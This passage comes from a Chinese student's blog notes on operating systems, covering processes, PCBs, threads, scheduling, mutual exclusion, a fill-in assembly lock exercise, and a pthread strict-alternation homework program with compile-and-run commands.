id=\"读这段代码说最终有几个进程捏\"\u003e读这段代码,说最终有几个进程捏?\u003c/h3\u003e\n\u003cp\u003e先告诉你有四个。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e(){\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"kt\"\u003epid_t\u003c/span\u003e \u003cspan class=\"n\"\u003epid\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"n\"\u003epid\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nf\"\u003efork\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/8csaxz47l62pjKQ.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/8csaxz47l62pjKQ.jpg\" loading=\"lazy\" alt=\"Let’s paint a tree, shall we?\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003eLet’s paint a tree, shall we?\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003ch2 id=\"深入进程\"\u003e深入进程\u003c/h2\u003e\n\u003ch3 id=\"进程终结时候发生了啥\"\u003e进程终结时候发生了啥?\u003c/h3\u003e\n\u003cp\u003e移除所有队列,释放占用的系统资源(内存等),然后返回操作系统。有可能出现僵尸进程,得让父进程来终结:-P\u003c/p\u003e\n\u003cp\u003e进程终结状态如下:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e程序自愿退出:执行完了/遇到一般错误\u003c/li\u003e\n\u003cli\u003e被迫退出:进程遇到严重错误/被其他进程发信号退出\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"pcb-不是电路板\"\u003ePCB 不是电路板!\u003c/h3\u003e\n\u003cp\u003ePCB (Process Control Block):进程控制块。重点包括以下东西:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e进程状态\u003c/li\u003e\n\u003cli\u003e程序计数器\u003c/li\u003e\n\u003cli\u003eCPU寄存器\u003c/li\u003e\n\u003cli\u003eCPU调度信息\u003c/li\u003e\n\u003cli\u003e内存管理信息\u003c/li\u003e\n\u003cli\u003eAccounting information\u003c/li\u003e\n\u003cli\u003e输入输出状态信息\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e注意:第六条直译为会计信息。我有两个理解:进程状态信息 / 用户信息\n(我的上帝啊,谁能给我本翻译得十分不错的 Modern Operating System 啊)\u003c/p\u003e\n\u003ch2 id=\"线程概要\"\u003e线程概要\u003c/h2\u003e\n\u003ch3 id=\"线程提出的目的\"\u003e线程提出的目的\u003c/h3\u003e\n\u003cp\u003e对于操作系统来说,中断或者切换一个进程的代价太高了。\u003c/p\u003e\n\u003ch3 id=\"弹出式线程的定义\"\u003e弹出式线程的定义\u003c/h3\u003e\n\u003cp\u003e操作系统收到一个信息后,创建一个线程来处理信息。\u003cbr/\u003e\n概念:进程分为用户态线程(管理归进程),系统态线程(管理归操作系统),混合态进程,以及弹出态进程\u003c/p\u003e\n\u003ch3 id=\"用户态线程的优劣\"\u003e用户态线程的优劣\u003c/h3\u003e\n\u003ch4 id=\"优点\"\u003e优点\u003c/h4\u003e\n\u003col\u003e\n\u003cli\u003e线程调用很快。\u003c/li\u003e\n\u003cli\u003e线程可以自行定义调度算法。\u003c/li\u003e\n\u003cli\u003e减轻内核调用线程压力。(内核看不到用户态线程)\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch4 id=\"缺点\"\u003e缺点\u003c/h4\u003e\n\u003col\u003e\n\u003cli\u003e线程无法调用阻塞式系统调用。(毕竟只能访问进程里面的玩意)\u003c/li\u003e\n\u003cli\u003e没有时钟,除非运行完退出,其他线程无法运行。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"调度算法\"\u003e调度算法\u003c/h2\u003e\n\u003ch3 id=\"调度发生的时机\"\u003e调度发生的时机\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e新进程的创建\u003c/li\u003e\n\u003cli\u003e进程的退出\u003c/li\u003e\n\u003cli\u003e某进程需要IO操作,\u003c/li\u003e\n\u003cli\u003eIO设备申请CPU中断 (称之为IO中断)\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"一道计算题\"\u003e一道计算题\u003c/h3\u003e\n\u003cp\u003eBy Multilevel Quene Fixed Priority scheduling algorithm, there are 3 priority quenes and 7 processes with following information. Draw the CPU scheduling Gantt chart and complete the following table for the give processes information.\u003c/p\u003e\n\u003cp\u003e通过多层级队列混合优先级 (Multilevel Quene Fixed Priorty) 调度算法,总共有三个优先级队列和七个进程,信息如下。画出 CPU 调度甘特图,然后根据信息填写最下面的表格。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/ve12iqCUrXcMGVs.png\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/ve12iqCUrXcMGVs.png\" loading=\"lazy\"/\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\n\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/eQOM1fvgwrCto2h.png\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/eQOM1fvgwrCto2h.png\" loading=\"lazy\"/\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003cbr/\u003e\n\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/JQOcHP8YTVKvbpW.png\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/JQOcHP8YTVKvbpW.png\" loading=\"lazy\"/\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003cbr/\u003e\n\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/J6dXQD7YcPlbizB.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/J6dXQD7YcPlbizB.jpg\" loading=\"lazy\"/\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003ch2 id=\"进程间通信\"\u003e进程间通信\u003c/h2\u003e\n\u003ch3 id=\"基础概念\"\u003e基础概念\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e竞争条件 (race condition) :多个进程间读取一个数据。\u003c/li\u003e\n\u003cli\u003e临界区 (critical region):要与其他进程共享数据区域。\u003c/li\u003e\n\u003cli\u003e互斥访问 (mutual exclusion) 和忙等待 (busy waiting)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"互斥访问方案原则\"\u003e互斥访问方案原则\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e任意两个进程不能同时在临界区。\u003c/li\u003e\n\u003cli\u003e不对 CPU 速度和数量做出假设。\u003c/li\u003e\n\u003cli\u003e临界区外运行进程不能阻塞其他进程。\u003c/li\u003e\n\u003cli\u003e不要让进程进入临界区前无限制等待。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"阅读代码填空\"\u003e阅读代码,填空\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-asm\" data-lang=\"asm\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nl\"\u003eenter_region:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"nf\"\u003eMOVE\u003c/span\u003e \u003cspan class=\"no\"\u003eREGISTER\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"no\"\u003e___\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"no\"\u003e___\u003c/span\u003e\u003cspan class=\"c1\"\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\t\u003cspan class=\"nf\"\u003eXCHG\u003c/span\u003e \u003cspan class=\"no\"\u003eREGISTER\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"no\"\u003eLOCK\u003c/span\u003e\u003cspan class=\"c1\"\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\t\u003cspan class=\"nf\"\u003eCMP\u003c/span\u003e \u003cspan class=\"no\"\u003eREGISTER\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"c1\"\u003e#1;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\t\u003cspan class=\"nf\"\u003eJE\u003c/span\u003e \u003cspan class=\"no\"\u003eOK\u003c/span\u003e\u003cspan class=\"c1\"\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\t\u003cspan class=\"nf\"\u003eCALL\u003c/span\u003e \u003cspan class=\"no\"\u003e___\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"no\"\u003e___\u003c/span\u003e\u003cspan class=\"c1\"\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\t\u003cspan class=\"nf\"\u003eJMP\u003c/span\u003e \u003cspan class=\"no\"\u003e___\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"no\"\u003e___\u003c/span\u003e\u003cspan class=\"c1\"\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"nl\"\u003eok:\u003c/span\u003e \u003cspan class=\"nf\"\u003eRET\u003c/span\u003e\u003cspan class=\"c1\"\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nl\"\u003eleave_region:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"nf\"\u003eMOVE\u003c/span\u003e \u003cspan class=\"no\"\u003eLOCK\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"no\"\u003e___\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"no\"\u003e___\u003c/span\u003e\u003cspan class=\"c1\"\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\t\u003cspan class=\"nf\"\u003eRET\u003c/span\u003e\u003cspan class=\"c1\"\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e根据 \u003ccode\u003eCMP REGISTER,#1; JE OK; ok: RET;\u003c/code\u003e 可分析出 \u003ccode\u003e#1\u003c/code\u003e 是没上锁,\u003ccode\u003e#0\u003c/code\u003e 是上锁了。\u003cbr/\u003e\n\u003ccode\u003eXCHG\u003c/code\u003e 可以互换两个寄存器的值,如果第一个空填入的是 \u003ccode\u003e#1\u003c/code\u003e ,那么无论如何,判断都是没上锁。所以第一个空填入 \u003ccode\u003e#0\u003c/code\u003e 。\u003cbr/\u003e\n第二个和第三个空是忙等待的东西,分别填的是 \u003ccode\u003ethread_yield\u003c/code\u003e (找另外一个进程)和 \u003ccode\u003eenter_region\u003c/code\u003e 。\u003cbr/\u003e\n第四个空填入 \u003ccode\u003e#1\u003c/code\u003e ,用完了就解锁。\u003c/p\u003e\n\u003cp\u003e概念 互斥访问策略\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e关闭中断。(单 CPU 有效)\u003c/li\u003e\n\u003cli\u003e锁变量与忙等待。\u003c/li\u003e\n\u003cli\u003e严格轮换。\u003c/li\u003e\n\u003cli\u003ePeterson 算法。\u003c/li\u003e\n\u003cli\u003e汇编 \u003ccode\u003eTSL\u003c/code\u003e 指令。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"严格轮换机制作业\"\u003e严格轮换机制作业\u003c/h3\u003e\n\u003cp\u003e请修改附件中的代码,实现strict alternation机制(注要能够运行)。此外需要说明程序中那个部分是关键区,以及它为什么是关键区。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;pthread.h\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;stdlib.h\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;unistd.h\u0026gt; // For sleep().\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// Critical region, because both threads needs to access this.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// Lock Variable\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eturn\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// Thread 2.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"nf\"\u003eth\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"k\"\u003ewhile\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"k\"\u003ewhile\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eturn\u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"cm\"\u003e/*loop*/\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"nf\"\u003esleep\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// Access Critical Region\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\t\t\u003cspan class=\"nf\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;a=%d haha\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"c1\"\u003e// Stop access.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\t\t\u003cspan class=\"n\"\u003eturn\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// Change mark.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \t\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003epthread_t\u003c/span\u003e \u003cspan class=\"n\"\u003emyth\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003epthread_create\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003emyth\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"nb\"\u003eNULL\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003eth\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"nb\"\u003eNULL\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Thread 1.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003ewhile\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"k\"\u003ewhile\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eturn\u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"cm\"\u003e/*loop*/\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"nf\"\u003esleep\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// Access Critical Region.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\t\t\u003cspan class=\"nf\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;a=%d hehe\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"c1\"\u003e// Stop access.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\t\t\u003cspan class=\"n\"\u003eturn\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// Change mark.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e以下是编译运行方式。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003egcc thread.c -lpthread -o thread \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e ./thread\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eps -aux \u003cspan class=\"p\"\u003e|\u003c/span\u003e grep thread \u003cspan class=\"c1\"\u003e# 记下 pid 号码\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003etop -H -p PID \u003cspan class=\"c1\"\u003e# 查看该 PID 对应的线程状态\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e本程序的关键区是 \u003ccode\u003ea\u003c/code\u003e 和 \u003ccode\u003eturn\u003c/code\u003e ,因为它是两个进程共享的数据区域。其中 \u003ccode\u003ea\u003c/code\u003e 是两个进程互相访问的数据区,turn 